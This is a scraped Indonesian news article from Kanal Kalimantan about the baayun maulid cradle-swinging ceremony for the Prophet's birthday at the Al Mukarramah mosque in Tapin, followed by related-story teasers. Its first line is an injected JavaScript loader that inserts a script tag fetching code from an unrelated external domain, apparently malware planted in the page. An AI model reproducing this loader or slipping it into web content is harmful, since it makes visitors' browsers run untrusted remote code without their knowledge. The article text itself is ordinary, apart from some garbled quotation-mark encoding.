(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RANTAU, Desa Banua Halat Kiri Kecamatan Tapin Utara Kabupaten Tapin menjadi lautan manusia, Sabtu (2/12). Ribuan jamaah yang datang dari berbagai penjuru ramai-ramai merayakan Hari Kelahiran Nabi Muhammad SAW, dengan cara mengikuti upacara prosesi tradisi budaya turun temurun baayun maulid, di masjid keramat Al Mukarramah.
Baayun maulid kali ini tidak hanya diikuti oleh anak-anak akan tetapi juga diikuti orang dewasa yang mempunyai niat atau nazar ikut baayun dengan berbagai alasan. Seperti pasangan suami istri H Armain dan Hj Aminah asal desa Buas-buas Kecamatan Candi Laras Selatan kepada Kanal Kalimantan mengaku, pertama kali mengikuti baayun maulid karena sudah diniatkan jauh hari jika selesai melaksanakan ibadah haji.
“Saya dan istri sudah niat akan ikut baayun jika kesampaian naik haji dan pulang dengan keadaan selamat,†katanya.
Didukung cuaca yang bersahabat kegiatan tradisi sejak zaman dulu ini berlangsung lancar. Syair maulid habsyi yang membahana semakin menambah kekhusyukan. Dan ketika syair asrakal dikumandangkan ribuan peserta ini pun naik ke ayunan mereka masing-masing.
Untuk baayun maulid tahun ini diikuti sebanyak 4.872 peserta yang terdiri dari anak anak dan dewasa. Peserta dengan usia termuda 14 hari berasal dari Tapin, sementara peserta tertua berusia 90 tahun yang juga berasal dari Tapin.
Kanal Kalimantan yang mencoba menelusuri nomor ayunan 171 yang dimiliki oleh peserta termuda di antara ribuan ayunan tersebut sedikit mendapat kesulitan lantaran banyaknya jamaah atau orang tua peserta yang berjubel. Meskipun susah mencarinya namun nomor ayunan dimaksud akhirnya ditemukan. Sayangnya, tinggal nomor saja, sementara ayunan sudah dilepas dari gantungan. “Sudah dilepas orang tuanya dari tadi mas,†ujar salah seorang orang tua peserta yang posisi ayunannya bersebelahan.
Dari ribuan peserta Baayun ini satu peserta tercatat sebagai peserta paling jauh yakni berasal dari Surabaya, Jawa Timur.(emroni)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.